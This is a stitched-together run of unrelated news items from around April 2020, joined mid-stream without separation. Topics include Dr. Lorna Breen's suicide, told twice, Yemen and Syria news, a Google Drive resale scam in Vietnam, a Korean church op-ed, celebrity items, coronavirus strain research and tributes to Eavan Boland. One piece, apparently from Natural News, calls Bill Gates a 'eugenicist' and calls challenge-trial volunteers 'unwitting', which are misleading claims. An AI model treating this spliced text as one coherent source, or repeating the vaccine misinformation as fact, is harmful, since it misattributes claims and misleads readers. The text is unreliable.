As of August 26th, 2021 Yahoo India will no longer be publishing content. Your Yahoo Account Mail and Search experiences will not be affected in any way and will operate as usual. We thank you for your support and readership. For more information on Yahoo India, please visit the FAQ By John Annese, New York Daily News New York, N.Y. A prominent Manhattan emergency room doctor who had treated a staggering number of coronavirus patients killed herself in Virginia, authorities said Monday. Dr. Lorna Breen, 49, the medical director of NewYork-Presbyterian Allen Hospital's emergency department, died by suicide in Charlottesville, a spokesman for the local police department told the New York Daily News. Spokesman Tyler Hawn said police responded to a call Sunday seeking medical help, and Breen was rushed to UVA Health System University Hospital but succumbed to self-inflicted injuries. "She gave what she had, and she's a casualty of the war in the trenches, as far as I'm concerned," her father, Philip Breen, told the Daily News. "She's a true hero." Breen's father said the crush of coronavirus cases his daughter handled was overwhelming, and that she herself became ill with COVID-19, though she went back to work after a week and a half. She had no history of depression, he said. "She was a very outgoing, very energetic person who, I don't know what snapped, but something blew up in her, and so she ended up taking her own life," he said. "She just ran out of emotional gas." He said his daughter traveled to Charlottesville to stay with her sister after the hospital sent her home a second time. "She stayed home about a week and a half, but I think she felt guilty about not being at work," her father said. "The last time I talked to her was before she went in for her 12-hour shift that she couldn't finish. "Just before she went back, she said that the ambulance had been waiting outside the building for over three hours with sick people. They couldn't even get the people out of the ambulances in there," he added. On Monday, Columbia University Irving Medical Center and NewYork-Presbyterian hailed her tireless devotion to her work. "Dr. Breen is a hero who brought the highest ideals of medicine to the challenging front lines of the emergency department," the statement said. "Words cannot convey the sense of loss we feel today." The statement added tht the hospital would focus on providing "support to her family, friends and colleagues as they cope with this news during what is already an extraordinarily difficult time." The Charlottesville Police Department also extended its condolences. "Personal Protective Equipment (PPE) can reduce the likelihood of being infected, but what they cannot protect heroes like Dr. Lorna Breen or our first responders against is the emotional and mental devastation caused by this disease," Charlottesville Police Chief RaShall Brackney said. Breen, a devout Christian who was one of four siblings, traveled the world to give lectures on emergency medicine, and to hike and snowboard, her grieving father recalled. "She was a salsa dancer and she played the cello," he said. "She was working on her master's degree in business administration also." Breen loved New York City, he said. "I sort of hope that when this is over, there may be a wall of heroes in New York someplace. She should have her plaque on there. She gave it all for her city." For those contemplating suicide, the National Suicide Prevention Lifeline is reachable 24/7 at 1-800-273-8255. Individuals can also call 911 for help. MORE CORONAVIRUS COVERAGE Coronavirus economy: New Yorkers going weeks with no job, no call from unemployment Where is coronavirus in NY? See map, charts of COVID-19 cases, deaths, hospitalizations (Monday, April 27) Canceling special elections for NY Legislature deeply undemocratic (Your letters) Cuomo briefing: Help for Upstate dairy farmers, new drive-thru testing sites Sanders campaign: NY just gave Trump an excuse to postpone November election What Urban Legends do the Secret Archives in the Vatican Debunk? NEWS PROVIDED BYApril 28, 2020SAN FRANCISCO, April 28, 2020 / Standard Newswire / -- The secret archives in the Vatican are some of the most guarded documents in the world. A new book, VATICAN SECRET ARCHIVES, reveals evidence debunking several unjust stereotypes, urban legends and distortions that have accumulated over the centuries about Catholicism, including documents related to Pope Pius XII's silence during the Holocaust, the Inquisition, the Crusades, and the trial of Galileo.The authors are no strangers to investigative journalism. Grzegorz Gorny is a reporter, essayist and film and TV producer. He is the founder and editor-in-chief of the quarterly Fronda, and from 1994 to 2001 he co-authored a program under the same title that aired on the Polish national television. He has produced various documentary television series and authored numerous articles for European publications. His books include Battle for Madrid (2010). Janusz Rosikon is an acclaimed photographer and a member of the Association of Polish Artistic Photographers. His photographs have been featured in Time, Newsweek, and Reader's Digest. Their books together include Fatima Mysteries, Guadalupe Mysteries, and Trust.In fact, it is because of their extraordinary work in these previous books that they were allowed access to the world's most guarded library. The VATICAN SECRET ARCHIVES reveals the turbulent history of the archives themselves, familiarizing readers with the real stories behind the most controversial events in the Church's history, including the Knights Templar trial, the Crusades, the Inquisition, the Galileo Galilei trial, and Pope Pius XII's attitude towards the Holocaust.Pius XII, whose papacy ran from 1939 1958, has faced daunting criticism for not publicly speaking out during the Holocaust, and whose critics had named "Hitler's Pope." VATICAN SECRET ARCHIVES, through extensive review of hundreds of documents in the archives, reveals how Pope Pius XII helped hundreds of thousands of Jews escape certain death and why he refused to speak publicly against the Nazis."The Church is associated with mystery, which often demands clarification," said Krzysztof Zanussi, Film Director, LIFE FOR LIFE: St. Maximilian Kolbe and OUR GOD'S BROTHER: St. Albert Chmielowski. "One can find many solved puzzles in this book based on the Vatican archives, and also many original insights into cases shrouded in mystery, cases frequently falsified thanks to the 'black legends' about the Church over the centuries. Fascinating reading supported by excellent visual documentation."For more information, to request a review copy or to schedule an interview with Vivian Dudro, editor of Ignatius Press, please contact Kevin Wandra (404-788-1276 or KWandra@CarmelCommunications.com ) of Carmel Communications.SOURCE Carmel CommunicationsCONTACT: Kevin Wandra, 404-788-1276, KWandra@CarmelCommunications.com Sanaa, April 28 : UN Special Envoy for Yemen, Martin Griffiths, expressed concerns over the declaration of self-rule by the Southern Transitional Council (STC) in the port city of Aden, breaking a peace deal signed last November with the internationally recognised government. "Now, more than ever, all political actors must cooperate in good faith, refrain from taking escalation actions, and put the interests of Yemenis first," Griffiths said in a statement on Monday. He called for "expediting the implementation of the Riyadh Agreement, with the support of the coalition led by Saudi Arabia", reports Xinhua news agency. "The Riyadh Agreement provides for the participation of the STC in consultations on the final political solution to end the conflict in Yemen and serve the interests of Yemenis nation-wide," Griffiths stressed. On Sunday, the STC declared establishing a self-ruled administration and a state of emergency in Aden and southern provinces. The Saudi-led coalition called on the STC to cancel its "escalating move" and abide by the Riyadh Agreement. The agreement was reached between the STC and the Yemeni government last year, ending months of stand-off between both sides in Aden. As part of the Arab military coalition that intervened in Yemen in March 2015 to restore power to the government of Yemeni President Abd-Rabbu Mansour Hadi, the STC turned against the Yemeni government last August. (Natural News) A cohort of largely Democrat politicians is calling on the United States Food and Drug Administration (FDA) to deliberately infect Americans with the Wuhan coronavirus (COVID-19) in order to fast-track the development of a new vaccine. Dubbed a challenge trial, several hundred young, healthy volunteers would be purposely exposed to the virus after receiving either a test vaccine or a placebo, the goal being to assess whether or not the test vaccine works as expected. This would allow a Wuhan coronavirus (COVID-19) vaccine to hit the market much sooner than normal. Led by Representatives Bill Foster (D-Ill.) and Donna Shalala (D-Fla.), the latter being a former secretary of the Department of Health and Human Services (HHS), the initiative aims to bypass the traditional clinical trial process and fast-track approval for a new vaccine for the Wuhan coronavirus (COVID-19). Our situation in this pandemic is analogous to war, in which there is a long tradition of volunteers risking their health and lives on dangerous missions for which they understand the risks and are willing to do so in order to help save the lives of others, their letter to the FDA reads. This is certainly music to the ears of eugenicist Bill Gates, who has repeatedly stated that Americans will not be allowed to go back to work or live anything remotely resembling a normal life until a vaccine for the Wuhan coronavirus (COVID-19) becomes commercially available. Listen below to The Health Ranger Report as Mike Adams, the Health Ranger, warns that media outlets on both sides of the political aisle are pushing a global vaccine agenda in response to the Wuhan coronavirus (COVID-19) pandemic: Wait, isnt a challenge trial unethical because it deprives some candidates of a life-saving vaccine? The idea of conducting a challenge trial such as this has also been endorsed by Stanley Plotkin, a vaccinologist who played a critical role in the development of the first vaccine for rubella. In an article published in the journal Vaccine, Plotkin, along with bioethicist Arthur Caplan, attempted to make the argument that it takes too darn long to develop a vaccine the normal way, and that regulators need to speed up the process so Big Pharma can rake in the cash more quickly. The traditional vaccine trial process, they explain, normally takes months to years, during which [coronavirus] will infect and possibly kill millions. They further contend that [a]cceleration of that standard process is necessary. So what we are seeing here is the vaccine industry using key assets in the field of medicine to push the notion that the normal clinical trial process for vaccine approval is outdated and ineffective. Instead, we need to get vaccines out the door much more quickly, they insist. The irony of a challenge trial, of course, is that it constitutes the very thing vaccine safety advocates have been pushing for years: to test new vaccine candidates against actual placebos rather than against other vaccines. We have long been told that such tests would be unethical because they would deprive some participants of life-saving vaccines. And yet, now that the Wuhan coronavirus (COVID-19) is here and the vaccine industry is chomping at the bit to gain approval for a new vaccine, it is suddenly no big deal to test experimental injections on unwitting participants using actual placebo vaccines. We should move the risk benefit optimization a little in favor of more rapid and riskier vaccine approval, argues Marc Lipsitch, a professor of epidemiology at Harvard University. Even if it is just a month earlier, he says, then there will be tens of thousands of people whose lives have been saved. To keep up with the latest news about the Wuhan coronavirus (COVID-19), be sure to check out Pandemic.news. Sources for this article include: TheHill.com NaturalNews.com NaturalNews.com A total of 40 civilians deceased in a terrorist act in Afrin, Syria on April 28. That included eleven children. Another 47 people were injured in what the Syrian government described as the terrorist attack. Local outlet AA reported this, quoting the press office of the Syrian Defense Ministry. The authority claimed that the attack was conducted by the PKK/YPG terrorist organization, as a gas tank exploded at the local food market. "The anti-humanitarian PKK/YPG has once again targeted innocent peaceful residents of Afrin. The terrorists loaded a fuel tank with explosives. 40 innocent civilians died (...)", the Defense Ministry reported. On April 1, soldiers of Syria's government forces claimed that Israel landed an airstrike on Homs. SANA agency reported that with a reference to a military source. "Air Forces of Syrian Arab Army deflected the Israeli missile aggression in eastern Homs", the military reported. According to them, the missile attack took place on March 31, at 8.25 p.m. Multiple missiles were fired, but the Syrian Army used anti-aircraft weapons to down them. They were destroyed before they reached their targets. The fact that there are warnings like "Do not drink" on bottles of bleach makes me realise that Donald Trump can become president. Ricky Gervais (@rickygervais) March 6, 2016 More behind the cutTidePodTrump Fallout, since I think the Friday show was pre-taped earlier last week. Donald Dum Dum said he was being sarcastic, then said he was talking to someone else, even though he started by saying D-e-b-o-r-a-h. Btw, several states reported an increase in calls to poison control. He wont win a ~Noble /sic/* prize but there are a lot of Darwin Awards to pass around. Sunny says he shouldve been corrected in real time, plus he shouldnt be speaking at all in lieu of scientists, but they shouldnt be aired real time. Joy doesnt think he knows the definition of sarcasm. Whoopi is overly angry. Meghan thinks its the scorpion and the frog fable. Not alarming, not surprised. Talks about Brad Pitt portraying Dr Fauci, then coming out of character and thanking Fauci, et al. then talks about NZ has eradicated covid and will be reopening, shes jealous because they handled it so much better. Despite being smaller theyre good to go.Birx tries to Trumpsplain his craziness on the Sunday shows. Pfft theres no excuse. Maybe shes caught between a rock and a hard place but at the same time girrrllll. Joy thinks shes less of a doctor and more like an eldercare nurse chasing after somebody half naked running around the home. Panel debates her role, her place, is she complicit, not sure if she can jump up in the middle of a press conference and call out Dum Dum. Sunny thinks when she was on the show two weeks back she said a lot but said nothing. Lol. Anyway, ETTD Everything Trump Touches Dies.NYT claims the GOP is in trouble even with Senate. All you need to know is that it was co-written by MAGA Haberman so who cares. That is all. Ignore the polls, ignore the RNC talking points, and whether or not you support Biden, find a Senator race to support, and go vote.Promotes the second season ofon Netflix. Says nothing has changed re/lockdown, hes always on the couch drinking wine and watching Netflix. Hes turned into a snitch, tells funny stories about people not knowing how to socially distance. Hes been annoying his partner Jane for 40+ years. Jane must think its like having a toddler at home. They show Ricky Gervais tweet from 2016 who predicted this dont drink bleach future. Talks about his style of comedy and other celebrities, he tends to keep politics out of his jokes, or not pick sides a joke should be funny. Talks about his Netflix show and how much he tries to portray realistic scenarios.Joys dog Bernie is annoyed with his humans home all the time so you can read Bernies blog on Instagram @berniebehar she even taught her doggie how to type.Andrew Yang launches a campaign to counteract the racism and bigotry against Chinese over the virus. Plays video. Lots of Asians are being targeted. Joy explains why the Spanish Flu (1918 pandemic) was called that, even though it didnt start there.Source links are below each video or section Tricksters are scamming netizens by selling fake unlimited Google Drive accounts for VND300,000 ($13) via shady online marketplaces. Google charges users between VND45,000-6.75 million ($1.9-287) per month depending on the storage package they had registered. The highest storage package that Google offers to individual users in Vietnam is up to 30TB that they can purchase monthly or yearly. But recently, a series of Facebook fan pages featuring Google Drive logos advertised the same services at a lower price. Sellers stated to be "Google agents", which allows them unlimited accounts at a cheaper price, adding they "have met Google's strict policy conditions." For the VND300,000 ($13) package, existing Google Drive accounts are upgraded to feature more storage capacity and cannot be shared. As for the VND700,000 ($30) package, users are given a new account with email domain name (not @gmail.com) by the provider. According to advertisements, the security of this package is higher while it can be synchronized between multiple devices and shared with friends. Some sellers also provide a VND2 million ($85) package that allows buyers to name their own Google Drive account at will. Customers only need to pay once for all three packages. Since prices are much lower, these sites have been attracting thousands of comments from curious customers. However, some who have bought and used these accounts said the services are not as advertised. The Hoang, a customer who bought a fake Google Drive account, said: "With the VND300,000 package, the email of the buyer will be added to a group with other accounts using the same Google Drive account, rather than upgrading current storage capacity." Scammers take advantage of the Team Drive feature in Google's premium G Suite package. This feature allows people in a group to upload and share files with others. "Since it is a shared storage service, other people can also access your files," Hoang confirmed. In addition, if someone in the group uploads content that violates Google regulations, the company will delete the account and other members will lose their files. Nguyen Kiet, an administrator of an information technology forum, said: "Google Drive is unlimited for businesses since they spend a lot of money to buy this service. But Google offers the same package to educational institutions." Kiet said most of storage packages sold in Vietnam are for educational institutions. For the VND700,000 package, sellers often use tricks to bypass Google by creating fake school emails using domain name ".edu". Nguyen Manh Hung, an IT expert, said: "It is possible that sellers are the domain administrator of a school since they can create emails using ".edu". Therefore, most accounts of this type only last about three to five years. Or it can be deleted if Google detects the account is fake." Kiet and Hung themselves have lost thousands of gigabytes of data after purchasing these fake accounts. Buying and selling unlimited Google Drive accounts has occurred in Vietnam for many years, but Google has not issued any warnings to users. Kiet also urged customers to not buy such Google Drive accounts to avoid being cheated and losing data. In addition, using a "pirated" Google Drive will not be supported by Google in case of problems. Sellers can also use their administrative rights to access user data and even remove users from accounts. Nana Ama McBrown says she is not the said lady who was captured in a viral video giving ex-President Mahama hard knocks on TV. In the video, the lady could be seen launching some knocks on her TV screen at the spot Mahama's head was located on the screen. Leave our television for us so that we can watch our programme. You like blabbing about everything. Look at his face, this is not about elections so leave our TVs for us so we can continue to watch our programme, she said in Twi while she delivered the knocks. The video has since gone viral and some persons have concluded it was Nana Ama McBrown who was captured in that video. In a press release copied to NEWS-ONE, Nana Ama said, My attention has been drawn to a video circulating on various social media platforms in which a female figure which some claim erroneously and strangely to be me can be seen under the cloak of darkness knocking the head of the image of former President John Mahama on the screen of a TV during his digital conversation with Ghanaians last Thursday. I hereby distance myself from that video and unequivocally state that I am not the woman in the video, and there is no way will I ever behave in such a reprehensible manner towards the former president of Ghana whom I hold in high respect, or indeed any other person. By way of emphasis, I would like to entreat the general public, the media and most importantly my fans to disregard it, she stated. ---Daily Guide By Steven L. Shields Protestants in Korea (as in many other places) have long decried Catholicism and Buddhism as idol-worshiping groups. They've been zealous in their campaign to force their members to give up Korean culture and discard ancestor tablets and, thus, cease honoring their forbears. At the same time, however, they fail to see their own idolatrous behavior. Protestant churches may not have statues in their halls, but they do have plenty of other idols. The Bible has become a Protestant idol. Modern Protestants have gone far beyond the cry of the reformers who argued that the Bible should be the sole authority in the church. They were contending with an over-powerful Rome-based church that imposed its will by force on governments and the people. It was a church that forbade ordinary people from understanding what was being said in the church by its mysterious use of Latin, centuries after nobody spoke it anymore. Few could argue with or question priests, bishops and popes since most people did not have access to the information contained in the Bible. This unusually powerful church committed incredible atrocities and human rights violations. Over time, though, the call of "sola scriptura" (Latin for, "only scripture") has created an idolizing of the Bible. Some Protestants will only accept specific translations of the book. Several versions go beyond translation. Editors insert modern phrases and culture-based terms that do not exist in the ancient Hebrew and Greek texts. For many Protestants, the very ink and paper of the Bible have become sacrosanct. About 25 years ago, when I took my pastorate in Seoul, I began to clean out cupboards and bookshelves to make room for much-needed reference books and file storage. In the moldy depths of one closet, I found several dozen worn-out Bibles. Bindings were broken, covers were missing, pages were torn and marked up. I put them in the trash. One sister went ballistic. She argued that one could not throw away a worn-out Bible. She said they needed to be kept forever. I argued that leather, paper and the ink used to convey the words are not holy. The term "holy" does not mean sacrosanct. Such a misunderstanding and worshiping of the book is idolatry. Another idolatrous tradition of many churches is the worship service. Perhaps, I should say services since many churches have early morning services, Wednesday evening, Friday evening and all day Sunday. Most take a roll to see which members are not present, sometimes for legitimate follow-up, but mostly to shame members for not attending. These same churches often publish individual members' offering amount, seemingly to shame them into giving more. The resistance against canceling worship services during the national health crisis is testimony to the worship service's idolatrous nature. I worry that cash flow won out over common-sense community spirit. Third, I contend that in many churches, the pastor has become an idol. Well-liked pastors become beloved and can command lifetime jobs that often extend far beyond average retirement age. Judging from the many aunties I meet on the street peddling their beliefs, they are more interested in how wonderful their pastor is than how wonderful it is to be a disciple of Jesus Christ. I've heard countless times well-meaning Christians argue, "But my pastor says..." There are so many collections of sermons by pastor so-and-so, the Christian booksellers are doing quite well financially. Many readers spend more time with the pastor's old sermons than they do learning the lessons taught in the Bible, believing their beloved pastor is the final word on Bible interpretation. Presbyterian elders are no longer the managers of the congregation, but a team of the pastor's biggest donors. They seemingly have no power to hire and fire a pastor who needs to move on to a new ministry. Each pastor, each minister, has particular giftedness. No single pastor should be running the same congregation for decades. He, or she, needs to let others' gifts be expressed and to be given the opportunity of moving on to a church that needs what they can bring. However, regardless of how sincere we pastors try to be, the ego is a powerful force. It is hard to give up the adulation of adoring parishioners. Before any of us Protestants complain about so-called idol worshiping groups, we need to look in the mirror. Steven L. Shields (slshields@gmail.com) has lived in Korea for many years, beginning in the 1970s. He served as copy editor of The Korea Times in 1977. He is a retired clergyman and vice president of the Royal Asiatic Society Korea. South Dakota's chief justice seeks $5 million for courthouse security In Chief Justice Jensen's State of the Judiciary Address, he mentioned courthouse security, sexual harassment training and a lack of court reporters. A Manhattan emergency room doctor who treated coronavirus patients, and survived the disease herself, died Sunday from suicide, the New York Times reported. Dr. Lorna M. Breen, medical director of NewYork-Presbyterian Allen Hospital, took her life in Charlottesville, Virginia on Sunday, according to her father and a spokesman for the local police department, the newspaper reported. A police department spokesman revealed to the Times that on Sunday police responded to a call seeking medical assistance. Breen was rushed to U.V.A. Hospital for treatment, but succumbed to self-inflicted injuries. Dr. Breen was 49-years old. According to the Times, Dr. Breen had described scenes of the toll the coronavirus took on patients to her father Philip C. Breen, who is also a doctor. She tried to do her job, and it killed her, her father told the Times. The elder Dr. Breen told the Times his daughter had contracted the coronavirus but returned to work a week and a half later. She was then sent home by the hospital a second time and traveled to Charlottesville to stay with her sister. Dr. Breen did not have a history of mental illness, according to her father. However, he revealed, when he last spoke with her he noticed that she seemed detached and something seemed wrong, he told the Times. She had described to him an onslaught of patients who were dying before they could even be taken out of ambulances," he said. She was truly in the trenches of the front line, he told the paper. Columbia University Irving Medical Center and NewYork-Presbyterian described Dr. Breen as a hero in a statement issued Monday. Dr. Breen is a hero who brought the highest ideals of medicine to the challenging front lines of the emergency department, the statement said. Our focus today is to provide support to her family, friends and colleagues as they cope with this news during what is already an extraordinarily difficult time. Friends of Dr. Breen described her as avid skier and a deeply religious Christian who volunteered at a home for elderly once a week, the Times reported. A colleague of Dr. Breens told the Times she was always looking out for others, making sure her doctors had protective equipment or anything else they needed. NewYork Presbyterian-Allen, where Dr. Breen worked, had as many as 170 patients with COVID-19, the disease caused by coronavirus, at a time. And, as of April 7, there had been 59 patient deaths at the hospital, according to an internal document, the Times reported. Related Content: With the coronavirus on the loose and the whole world still trying to deal with it, the best thing citizens can do is to stay indoors. Although a big portion of most people's lives circulate around going outside to work, see friends, play games, and a bunch of other activities, the citizens are urged to stay indoors to minimize the risk of getting infected by the deadly coronavirus. While the time keeps on ticking and the social distancing period does not seem to come to an end, it can get pretty boring when you are running out of things to do. You might have found a few things to spark your interest at first, but the more time flies by, the more it seems like the number of things left to do at home starts to go down. Google has been trying to convince people to stay indoors by putting up reminders on their search engine and extending their efforts into stopping fake news from spreading and now, Google has taken it one step further! Google releases Google Doodle games Google has announced that they will be releasing a brand new game based on their previous Google Doodles every day, starting Monday! That's a new mini game to play every day! The company will be choosing out the perfect game from the numerous amounts of mini-games it already has featured on its very own search homepage over the past years. Google will then be releasing 10 of the best doodles over the next two weeks. Every single one of these doodle-based games have actually been preserved and archived all the way on the Google Doodle Blog. The company is trying to ensure that people get a good variety of games by releasing new games every day. The previous Google Doodle Google Doodle has actually had multiplayer support in the past few years making it an entertainingly simple game to play for those who aren't too fond of heavy gaming. An example of the multiplayer support is when Google Doodle released a Mexican bingo-like game called Loteria, which even allowed users to have fun with their friends or even random players online. Google Doodle has also been able to make a few moves to honor those worth honoring like a previous post where Google honored everyone who was participating in the fight against COVID-19. Google themselves said that they did this as a tribute to all of those on the front lines trying their best to fight the virus even sacrificing a lot just to participate. Read Also: Google Doodle Honors Everyone Fighting the Coronavirus With a Touching Message! Another honorable thing that Google Doodle did in the past was to honor the previous Dame Jean Macnamara who was one of the most remembered polio researcher who has previously saved countless of kids from polio as most of her therapy methods are still being put to practice this very day. Google has been very vocal about what they want, stay inside to fight COVID-19! Read Also: RIP Dame Jean Macnamara: Google Doodle Honors the Polio Doctor in a Creative Way Despite April Fools' Day Looking for some more interesting things to try making in the comfort of your own home right now? Feel like theres nothing better than Chipotle guac? Well, youre in luck! Chad Brauze is Chipotles executive chef, and now hes sharing how you can make their amazing guacamole at home! In an Instagram post, Chad shared how to make their original guacamole, along with a few different exciting variations; ranch guacamole, superfood guacamole, and pomegranate guacamole. Im gonna teach you guys how to make some awesome Chipotle guacamole just like we make it in the restaurant I guarantee you its the same recipe, same style, same technique, Chad explained in his video. Not only that, but Im also going to teach you how to make some super extra guac. Read on to find out how you can make them all! Instagram; Chad holds up an Avocado, above Sign up for Chip Chicks newsletter and get stories like this delivered straight to your inbox. A five-star luxury hotel in London has been spreading a little joy amid the coronavirus outbreak by serving up free meals for key workers. The Berkeley Hotel in Knightsbridge may have shut its doors to guests but its kitchens are busy at work cooking meals for emergency workers. A free drive-through was launched on April 16 outside the hotel in Wilton Place, which provides hot food to all NHS staff, police and fire crews. On Tuesday, police officers on horses were pictured being served drinks by hotel staff using a pizza peel while observing social distancing. Police officers on horses rocked up on Tuesday afternoon for a free meal / PA There is a daily changing menu, including vegan options, for the hot packed meals which are served on a first come first served basis everyday from 11.30am. Menu examples include aromatic braised lamb, harissa roasted chicken, braised topside of beef and chicken and tomato curry. Emergency services staff and keys workers are being given free meals / PA A hotel spokeswoman said meals were increased from 250 to 400 per day due to high demand. Elsewhere, a London Bridge restaurant has been offering free meals to vulnerable people in its local community in a bid to tackle the disruption caused by the virus outbreak. Brigade Bar + Kitchen, a social enterprise restaurant based in a former fire station on Tooley Street, has handed out thousands of meals. The hotel had to ramp up meals due to high demand / PA Actor Tom Cruise apparently wasn't exactly in a sharing mood when he started filming The Outsiders. According to Fox News, actor Rob Lowe made the revelation when he recently appeared on Dax Shepard's podcast Armchair Expert, where he opened up about working on the 1983 coming-of-age drama, in which Lowe starred as one of the Greasers, Sodapop Curtis, alongside Cruise, who played Steve Randle. Lowe told Shepard that the Mission Impossible star couldn't keep it together upon learning he would be bunking with Lowe while filming the movie, which was directed by The Godfather filmmaker Francis Ford Coppola. The 56-year-old actor explained to Shepard, "All of the LA people survived the LA auditions, and then the hand-picked people had to go to New York to face the New York version. So it was me and Tom Cruise and Emilio [Estevez] and C Thomas Howell." Also read: Tom Cruise will be 60 years old by the time Mission Impossible 8 is released, will have played Ethan Hunt for over quarter-century He recalled, "[It was the] first time I ever stayed at The Plaza Hotel, and we check-in, and Tom finds out that we're sharing a room and just goes ballistic." The pair worked side-by-side though, Lowe quipped to Shepard that Cruise simply knew his value and recalled the Top Gun star doing his own stunts early on his career. Lowe said, "He ended up being the only one who could do a backflip. It is in the movie The Outsiders for no reason. He runs out of the house and does a backflip for no reason. Just to do it." The movie had an ensemble cast, including Matt Dillon, Patrick Swayze, Ralph Macchio, and Emilio Estevez, which Lowe believed fed into the huge chip the 57-year-old star-Cruise, kept on his proverbial shoulder. Lowe said, "To me, what's great about the story is, there are certain people who have always been who they are, and that element of them has powered them to where they are today and the rest is history. And the notion that an 18-year-old actor with a walk-on part in Endless Love and like the seventh lead in Taps could have that kind of like wherewithal." Lowe then pressed on and praised Cruise adding that he was blown away by his acting chops. Lowe said, "I remember going, 'Wow, this guy is the real deal. I mean it made me laugh, it was gnarly. But in the end of it, you can't argue with the results. He's had his eye on the ball since day one." Follow @htshowbiz for more A strain is a subtype of a virus that is created due to a mutation in the genome (genes) of the said virus. A recent study that was reportedly done at the National Institute of Biomedical Genomics, West Bengal suggests that there are at least 11 different strains of SARS-CoV-2 (the causative agent of COVID-19) in the world. A strain is a subtype of a virus that is created due to a mutation in the genome (genes) of the said virus. For the study, scientists at the National Institute of Biomedical Genomics studied more than 3,600 samples of the SARS-CoV-2 genome collected from various countries (around 55) of the world. These samples were then studied to look for similarities and differences. As per the study, the original strain of the COVID-19 causing virus was named O type or ancestral type. But from this strain at least 10 different strains had originated. Out of these 10 new strains, a strain called A2a is currently the most prevalent in the world as well as in India. The study claims that if a vaccine is to be made, it should be made against this strain. The A2a strain The A2a strain reportedly has an advantage over its peers in that it can better bind with the ACE-2 receptors in the lungs - which is what the SARS-CoV-2 virus uses to enter into healthy cells. This happened due to a change in a single amino acid (building blocks of proteins) from aspartic acid to glycine in the spike protein of the virus. The stronger this virus binds to its receptors the more chances of it entering a healthy cell and replicating. Viral mutations A mutation is a change in the DNA or, in the case of SARS-CoV-2, the RNA sequence of an organism, which may or may not be significant enough to give an evolutionary advantage to the said organism. In most cases, only the mutations that give a selective advantage to a virus to survive better in a said system will be allowed and the others will be eliminated by natural selection. Unlike what most people think, mutations are quite common and occur spontaneously during the replication of DNA - every cell has to make a new copy of nucleic acid when they divide. In most organisms, these mutations are corrected by a proofreading mechanism. SARS-CoV-2 also has one such proofreading mechanism that has kept a lot of its genes conserved so far. Still, a study done in China has previously suggested that there were at least two different types of SARS-CoV-2 in China during the beginning of January 2020. The S type of the ancestral type is less virulent and the L type is more virulent. After early January, the presence of L type has significantly reduced and S type is more commonly seen. The presence of L types strain is being considered a possible cause of high death rate in Gujrat, though there isnt strong evidence to prove this, apart from a single genome studied at Gujrat Biotechnology Research Center. It is important to note that not all viruses have an efficient proofreading system in place. The machinery that RNA viruses use to replicate its genetic material is prone to faults and hence most RNA viruses quickly develop new strains. Studies indicate that a mutation occurs almost every replication cycle of an RNA virus and a single person may have several mutants of the same virus in their body. DNA viruses, on the other hand, mutate much less - about a single mutation after several thousand rounds of replications in some cases. Apart from proofreading errors, damage to the nucleic acid and inability to correct the errors after replication are some causes of mutation in viruses. For more information, read our article on Why SARS-CoV-2 affects the lungs. Health articles in Firstpost are written by myUpchar.com, Indias first and biggest resource for verified medical information. At myUpchar, researchers and journalists work with doctors to bring you information on all things health. Eavan Boland has died, following a stroke in her home in Dublin, at the age of 75. She published 10 volumes of poetry, releasing her first collection, 23 poems in 1962 before she was 20 years old. Upon hearing the news the Irish poetry community flocked to Twitter to pay tribute to one of the greatest Irish poets. They shared her work, work of their own, and tried to put into words what Boland meant to each of them. President Michael D Higgins began by saying she had the "extraordinary ability to invoke Irish landscapes, myth and everyday experience". Quite by chance yesterday I posted a reading of Eavan Bolands poem, The Emigrant Irish. Here it is again in her memory as we mourn her loss. Ar dheis De go raibh a anam. @poetryireland pic.twitter.com/W2WC4JHnpv Daniel Mulhall (@DanMulhall) April 27, 2020 *Day* 48 #isolation The staggering loss of Eavan Boland is difficult to put into words Life is often too busy to pay a day much notice, to watch it slowly darken. But days are all we ever have, leaning down to pick up a child, bees buzzing, a tree turning, each other #RIPEavan Elaine Feeney (@elainefeeney16) April 28, 2020 The great Irish poet Eavan Boland died yesterday. Her remarkable poem Quarantine was read out on his radio this morning. Feels very fitting for the current moment. pic.twitter.com/I3s4I0TD5W Peter Geoghegan (@PeterKGeoghegan) April 28, 2020 Take a moment to read a poem by Eavan Boland who sadly passed away yesterday-the poem is aptly named This Moment pic.twitter.com/0hwOXc5oQn Brigid Laffan (@BrigidLaffan) April 28, 2020 The loss of Eavan Boland hit me pretty hard today. Here is one of my favorites from her. pic.twitter.com/1Hf4d907nd PoeATree (@poe_a_tree) April 28, 2020 So sad to hear of the death of #EavanBoland Freedom is not abstract, is not a concept, Is not an ethic only nor a precept. It can also be a hope raised then defeated Then renewed. It can be a voice braided Into the silences of other women #rip PurityBelleBlog (@PurityBelle) April 28, 2020 Evan Boland was the reason I ever started reading poetry. What a loss. pic.twitter.com/mDPV6jVUYf Kelsey (@KelseyLahr) April 27, 2020 When my daughter was born I taped Evan Boland's ' Night Feed' to my Diary so I would be reminded every day of the privilege that is parenthood.. She changed so many of our inner lives for the better - her like will not be seen again.. Suzanne Grennan (@SuzanneGrennan) April 27, 2020 Her daughter, Eavan also took to the social media platform to pay tribute to her wonderful mum who was an inspiration to so many. Pentagon formally releases 3 Navy videos showing unidentified aerial phenomena CBS. I think the 2020! showrunners need to rethink this plot twist. Its all too much. UBS profits jump 40% as wealth unit performs robustly FT Less Than a Third of the World Can Feed Itself From Local Crops, Says Study Modern Farmer #COVID19 The science: Aerodynamic analysis of SARS-CoV-2 in two Wuhan hospitals Nature. From the abstract: [W]e propose that SARS-CoV-2 may have the potential to be transmitted via aerosols. Our results indicate that room ventilation, open space, sanitization of protective apparel, and proper use and disinfection of toilet areas can effectively limit the concentration of SARS-CoV-2 RNA in aerosols. Future work should explore the infectivity of aerosolized virus. Nobody Knows What Is Going On Mark Manson * * * Spread: Virus Likely to Keep Coming Back Each Year, Say Top Chinese Scientists Bloomberg What we could learn from the coronavirus outbreak on aircraft carrier Theodore Roosevelt Los Angeles Times At least 12 UK children have needed intensive care due to illness linked to Covid-19 Guardian * * * Treatment and Vaccine: The Pandemic-Era Emergency Dept: Weirder, Wilder & Emptier Than Ever Matt Bivens, Medium New York City ER medical director, 48, takes her own life after telling her family about the trauma of witnessing patients dying from coronavirus before they could be taken from ambulances Daily Mail * * * Masks: Masks as an example of rapid innovation in apparel: See-through solution: Deaf Indonesians turn to clear coronavirus masks https://t.co/bmruaCUugt The Straits Times (@STcom) April 28, 2020 * * * Testing: Coronavirus testing increasing, but still not good enough Axios READ: Coronavirus Testing Guidelines From The White House NPR * * * Economic effects: Tyson Foods takes out full-page ad: The food supply chain is breaking The Hill The Lost Spring: Coronavirus Shuts Down Nearly Every School for Academic Year Education Week * * * Elite response: The 